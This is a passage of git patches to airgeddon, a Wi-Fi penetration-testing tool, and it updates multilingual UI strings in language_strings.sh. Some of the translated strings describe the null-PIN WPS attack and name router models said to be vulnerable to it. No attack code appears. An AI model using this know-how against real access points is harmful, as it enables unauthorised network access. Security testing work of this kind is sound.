ευάλωτα. Κάποιοι είναι \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" και \"ZTE H298N\"" - arr["ITALIAN",625]="${pending_of_translation} L'attacco PIN nullo è molto veloce e ottiene la password all'istante, ma solo pochi punti di accesso sono vulnerabili. Alcuni lo sono \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" + arr["ITALIAN",625]="L'attacco del PIN nullo è molto veloce e ottiene la password all'istante, ma solo pochi punti di accesso sono vulnerabili. Alcuni conosciuti sono \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["POLISH",625]="${pending_of_translation} Atak null kodu PIN jest bardzo szybki i natychmiast otrzymuje hasło, ale tylko kilka punktów dostępu jest podatnych na ataki. Niektóre są \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" arr["GERMAN",625]="Der Null-PIN-Angriff ist sehr schnell und erhält das Kennwort sofort, aber nur wenige access points sind anfällig. Einige sind \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" und \"ZTE H298N\"" arr["TURKISH",625]="${pending_of_translation} Boş PIN saldırısı çok hızlıdır ve şifreyi anında alır, ancak yalnızca birkaç erişim noktası korunmasızdır. Bazı \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" ve \"ZTE H298N\"" @@ -8369,7 +8369,7 @@ function language_strings() { arr["PORTUGUESE",626]="A partir da versão 9.20 do airgeddon, o tmux pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico (X-Window). É recomendado apenas para usuários avançados. Como as demais opções, pode ser configurado a partir do menu, configurado no arquivo de opções ${rc_file} ou iniciado usando o \"parâmetro\" AIRGEDDON_WINDOWS_HANDLING na linha de comando. Mais informações sobre a customização de opções no Wiki: ${urlgithub_wiki}/Options" arr["RUSSIAN",626]="Начиная с версии airgeddon 9.20, поддерживается tmux и он может использоваться вместо xterm в качестве обработчика окон. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров ${rc_file} или запустить с помощью AIRGEDDON_WINDOWS_HANDLING \"flag\" в командной строке. Больше информации о настройке опций на Wiki: ${urlgithub_wiki}/Options" arr["GREEK",626]="${pending_of_translation} Από την εκδοχή airgeddon 9.20, υποστηρίζεται το tmux και μπορεί να χρησιμοποιηθεί αντί του xterm ως χειριστής παραθύρων. Το σενάριο μπορεί να εκτοξευθεί σε περιβάλλον χωρίς κεφαλή χωρίς γραφικό σύστημα παραθύρων X. Συνιστάται μόνο για προχωρημένους χρήστες. Όπως και κάθε άλλη επιλογή, μπορεί να ρυθμιστεί στο μενού επιλογών, στο αρχείο επιλογών ${rc_file} ή να ξεκινήσει χρησιμοποιώντας τη \"flag\" AIRGEDDON_WINDOWS_HANDLING στη γραμμή εντολών. Περισσότερες πληροφορίες σχετικά με την προσαρμογή των επιλογών στο Wiki: ${urlgithub_wiki}/Options" - arr["ITALIAN",626]="${pending_of_translation} A partire dalla versione 9.20 di airgeddon, tmux è supportato e può essere usato al posto di xterm come gestore di finestre. È possibile avviare lo script in un ambiente senza un sistema grafico di X Windows. È consigliato solo per utenti esperti. Come qualsiasi altra opzione, può essere configurata dal menu delle opzioni, configurata nel file delle opzioni ${rc_file} o avviata utilizzando il \"flag\" AIRGEDDON_WINDOWS_HANDLING sulla riga di comando. Maggiori informazioni sulla personalizzazione delle opzioni nel Wiki: ${urlgithub_wiki}/Options" + arr["ITALIAN",626]="A partire dalla versione 9.20 di airgeddon, tmux è supportato e può essere usato al posto di xterm come gestore di finestre. È possibile avviare lo script in un ambiente senza un sistema grafico di finestre X. È consigliato solo per utenti esperti. Come qualsiasi altra opzione, può essere configurata dal menu delle opzioni, configurata nel file delle opzioni ${rc_file} o avviata utilizzando il \"flag\" AIRGEDDON_WINDOWS_HANDLING dalla linea di comando. Maggiori informazioni sulla personalizzazione delle opzioni nella Wiki: ${urlgithub_wiki}/Options" arr["POLISH",626]="${pending_of_translation} Począwszy od wersji 9.20 airgeddon, tmux jest obsługiwany i może być używany zamiast xterm jako menedżer okien. Skrypt można uruchomić w środowisku bez systemu graficznego okien X. Zalecany jest tylko dla zaawansowanych użytkowników. Jak każda inna opcja, można ją skonfigurować z menu opcji, skonfigurować w pliku opcji ${rc_file} lub uruchomić za pomocą \"flag\" AIRGEDDON_WINDOWS_HANDLING w wierszu poleceń. Więcej informacji na temat dostosowywania opcji w Wikiv" arr["GERMAN",626]="Ab airgeddon Version 9.20 wird tmux unterstützt und kann anstelle von xterm als Fenstermanager verwendet werden. Sie können das Skript in einer Umgebung ohne Grafiksystem von X-Fenstern starten, es wird nur für fortgeschrittene Benutzer empfohlen. Wie jede andere Option kann sie über das Optionsmenü konfiguriert werden, in der Optionsdatei ${rc_file} konfiguriert oder mit dem \"flag\" AIRGEDDON_WINDOWS_HANDLING in der Befehlszeile gestartet werden. Weitere Informationen zur Anpassung der Optionen im Wiki: ${urlgithub_wiki}/Options" arr["TURKISH",626]="${pending_of_translation} airgeddon'un 9.20 sürümünden itibaren, tmux destekleniyor ve bir pencere yöneticisi olarak xterm yerine kullanılabilir. Senaryoyu X windows grafik sistemine sahip olmayan bir ortamda başlatabilirsiniz, sadece ileri düzey kullanıcılar için önerilir. Diğer seçeneklerde olduğu gibi, seçenekler menüsünden yapılandırılabilir, ${rc_file} seçenekler dosyasında yapılandırılabilir veya komut satırında \"flag\" AIRGEDDON_WINDOWS_HANDLING kullanılarak başlatılabilir. Wiki'deki seçeneklerin özelleştirilmesi hakkında daha fazla bilgi: ${urlgithub_wiki}/Options" From 7a017ae7f1a6a687cd4968eada15b25028393ff7 Mon Sep 17 00:00:00 2001 From: salu90 Date: Thu, 16 May 2019 18:18:24 +0200 Subject: [PATCH 147/148] Italian translation updated --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 28fc53ae4..3d1709577 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8249,7 +8249,7 @@ function language_strings() { arr["PORTUGUESE",616]="10. Alterar gerenciador de janelas para tmux" arr["RUSSIAN",616]="10. Изменить метод управления окнами на tmux" arr["GREEK",616]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" - arr["ITALIAN",616]="10. Cambiare il metodo di gestione delle finestre in tmux" + arr["ITALIAN",616]="10. Cambiare il metodo di gestione delle finestre a tmux" arr["POLISH",616]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na tmux" arr["GERMAN",616]="10. Ändern Sie die Fensterverwaltung zu tmux" arr["TURKISH",616]="${pending_of_translation} 10. Pencere yönetimi yöntemini tmux olarak değiştirin" @@ -8261,7 +8261,7 @@ function language_strings() { arr["PORTUGUESE",617]="Alterar gerenciador de janelas para xterm" arr["RUSSIAN",617]="10. Изменить метод управления окнами на xterm" arr["GREEK",617]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" - arr["ITALIAN",617]="10. Cambiare il metodo di gestione delle finestre in xterm" + arr["ITALIAN",617]="10. Cambiare il metodo di gestione delle finestre a xterm" arr["POLISH",617]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na xterm" arr["GERMAN",617]="10. Ändern Sie die Fensterverwaltung zu xterm" arr["TURKISH",617]="${pending_of_translation} 10. Pencere yönetimi yöntemini xterm olarak değiştirin" From 35f413a32885ed56ce63b428a9dc8ca544c43d05 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 25 May 2019 18:56:39 +0200 Subject: [PATCH 148/148] Small changes on string 377 --- language_strings.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 3d1709577..1c5858247 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -5374,17 +5374,17 @@ function language_strings() { arr["GERMAN",376]="Eine lokale Datenbankdatei mit PINs (${known_pins_dbfile}) wurde gefunden. Es wird jedoch geprüft, ob es eine Aktualisierung gibt" arr["TURKISH",376]="Yerel PIN'ler veritabanı dosyası (${known_pins_dbfile}) bulundu. Her neyse yeni bir kontrol yapılacaktır" - arr["ENGLISH",377]="A more up-to-date PINs database file has been successfully downloaded" - arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" + arr["ENGLISH",377]="An up-to-date PINs database file has been successfully downloaded" + arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs actualizado" arr["FRENCH",377]="La base de données a été actualisée" - arr["CATALAN",377]="S'ha descarregat amb èxit un fitxer de base de dades de PINs més actualitzat" + arr["CATALAN",377]="S'ha descarregat amb èxit un fitxer de base de dades de PINs actualitzat" arr["PORTUGUESE",377]="O banco de dados foi atualizado com sucesso" arr["RUSSIAN",377]="Новая версия файла базы данных PIN была успешно загружена" arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" - arr["ITALIAN",377]="È stato scaricato con successo un file di base dati dei PINs piú aggiornato" + arr["ITALIAN",377]="È stato scaricato con successo un file di base dati dei PINs aggiornato" arr["POLISH",377]="Nowszy plik bazy danych PIN został pomyślnie pobrany" - arr["GERMAN",377]="Eine aktuellere PIN-Datenbankdatei wurde erfolgreich heruntergeladen" - arr["TURKISH",377]="Daha güncel bir PIN veritabanı dosyası başarıyla indirildi" + arr["GERMAN",377]="Eine PIN-Datenbankdatei wurde erfolgreich heruntergeladen" + arr["TURKISH",377]="Daha bir PIN veritabanı dosyası başarıyla indirildi" arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs"